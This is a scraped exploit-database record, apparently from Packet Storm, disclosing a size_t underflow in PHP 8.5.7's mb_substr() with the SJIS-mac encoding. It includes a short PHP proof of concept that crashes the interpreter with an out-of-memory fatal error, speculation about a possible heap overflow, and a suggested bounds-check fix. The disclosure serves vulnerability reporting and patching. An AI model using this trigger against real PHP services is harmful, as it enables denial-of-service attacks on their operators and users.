{“lastseen”:”2026-06-22T18:40:45″,”description”:”PHP version 8.5.7 suffers an underflow condition that can be exploited to trigger a denial of service condition…”,”published”:”2026-06-22T00:00:00″,”modified”:”2026-06-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 PHP 8.5.7 mb_substr() Underflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:223961″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# PHP 8.5.7 `mb_substr()` ‘SJIS-mac’ size_t underflow\\n \\n **Author:** Khashayar Fereidani\\n **Disclosure Date:** 2026-06-18\\n **Advisory:** https:\/\/fereidani.com\/php-857-mbsubstr-sjis-mac-sizet-underflow\\n **Contact:** https:\/\/fereidani.com\/contact\\n \\n ## Description\\n \\n The `mb_get_substr()` function in `ext\/mbstring\/mbstring.c`\\n deliberately skips an early empty return guard for the `SJIS-mac`\\n encoding when `from \\u003e= in_len`. As a result, it falls through to\\n `mb_get_substr_slow()`, executing `mb_convert_buf_init(\\u0026buf, MIN(len,\\n in_len – from), …);`. When `from \\u003e in_len`, the parameter `in_len -\\n from` underflows the `size_t` representation, resulting in a vastly\\n large allocation size (near ~2^64 bytes). This leads to an immediate\\n Out-Of-Memory (OOM) fatal error. Furthermore, if\\n `_ZSTR_STRUCT_SIZE(initsize)` wraps past `SIZE_MAX`, it could\\n potentially allocate a tiny buffer while the structural limit retains\\n the pseudo-wild value, resulting in a heap buffer overflow when\\n subsequent codepoints are decoded and written.\\n \\n ## Proof of concept\\n \\n “`php\\n \\u003c?php\\n \/*\\n * PoC: mb_substr() ‘SJIS-mac’ size_t underflow\\n * File: ext\/mbstring\/mbstring.c mb_get_substr() (~L2129) +\\n mb_get_substr_slow() (~L2102) *\\n * mb_get_substr() deliberately skips the early \\”return empty\\” guard\\n for SJIS-mac:\\n *\\n * if (len == 0 || (from \\u003e= in_len \\u0026\\u0026 enc != \\u0026mbfl_encoding_sjis_mac)) {\\n * return zend_empty_string; \/\/ \\u003c– sjis_mac bypasses this\\n when from \\u003e= in_len\\n * }\\n *\\n * … then falls through (sjis_mac is multibyte, not SBCS\/WCS2\/WCS4) to\\n * mb_get_substr_slow(), whose first line is:\\n *\\n * mb_convert_buf_init(\\u0026buf, MIN(len, in_len – from), …);\\n *\\n * With `from \\u003e in_len` (bytes), `in_len – from` UNDERFLOWS size_t to ~2^64.\\n * mb_convert_buf_init does emalloc(_ZSTR_STRUCT_SIZE(initsize)).\\n *\\n * Two outcomes, both wrong (correct result is the empty string):\\n * (A) `from` huge -\\u003e initsize ~2^64 -\\u003e fatal \\”Allowed memory size exhausted\\n * (tried to allocate 18446744073708551644 bytes)\\”. CONFIRMED below.\\n * (B) `from` only slightly \\u003e in_len -\\u003e initsize sits just under 2^64 and\\n * _ZSTR_STRUCT_SIZE(initsize) WRAPS past SIZE_MAX to a tiny allocation,\\n * while buf-\\u003elimit = out + initsize stays wild -\\u003e a subsequent write of\\n * decoded codepoints is a HEAP OVERFLOW. (Harder to trigger reliably:\\n * needs a SJIS-mac input decoding to more codepoints than bytes, i.e.\\n * from \\u003c codepoint_count while from \\u003e byte_count. Worth upstream review.)\\n *\/\\n echo \\”PHP \\”, PHP_VERSION, \\” sjis_mac available: \\”,\\n (in_array(\\”SJIS-mac\\”, mb_list_encodings()) ? \\”yes\\” : \\”no\\”), \\”\\\\n\\\\n\\”;\\n \\n \/* control: a normal encoding with from \\u003e strlen returns \\”\\” cleanly *\/\\n echo \\”UTF-8, from=10 \\u003e strlen(‘abc’): -\\u003e \\”; var_dump(@mb_substr(\\”abc\\”,\\n 10, null, \\”UTF-8\\”));\\n \\n \/* The bug: SJIS-mac, from \\u003e\\u003e strlen, length omitted -\\u003e underflow -\\u003e OOM fatal.\\n * The \\”tried to allocate 18…644 bytes\\” is literally (size_t)(3 – 1000000). *\/\\n echo \\”SJIS-mac, from=1000000 \\u003e strlen(‘abc’):\\\\n\\”;\\n @mb_substr(\\”abc\\”, 1000000, null, \\”SJIS-mac\\”);\\n echo \\”(if you see this line, the fatal error above was caught\/suppressed)\\\\n\\”;\\n “`\\n \\n ## Impact\\n \\n An attacker could intentionally furnish conditions where `from \\u003e\\n in_len` alongside the ‘SJIS-mac’ encoding, triggering a `size_t`\\n underflow. This predictably causes a severe Out-Of-Memory (OOM) fatal\\n error, culminating in a Denial of Service. Depending on environmental\\n details, it might hypothetically cause a heap buffer overflow.\\n \\n ## Solution\\n \\n Adjust the constraints inside `mb_get_substr()` and\\n `mb_get_substr_slow()` in `ext\/mbstring\/mbstring.c`. The calculation\\n `in_len – from` should be adequately bounds-checked to halt\\n computation or safely cap at zero when `from \\u003e in_len`, sidestepping\\n the underflow when initializing string buffers.”,”sourceHref”:”https:\/\/packetstorm.news\/download\/223961″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/223961\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-22T18:40:45″,”description”:”PHP version 8.5.7 suffers an underflow condition that can be exploited to trigger a denial of service condition…”,”published”:”2026-06-22T00:00:00″,”modified”:”2026-06-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 PHP 8.5.7 mb_substr() Underflow”,”source”:””,”references”:””,”id”:”PACKETSTORM:223961″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”# PHP 8.5.7 `mb_substr()`…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-64862","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n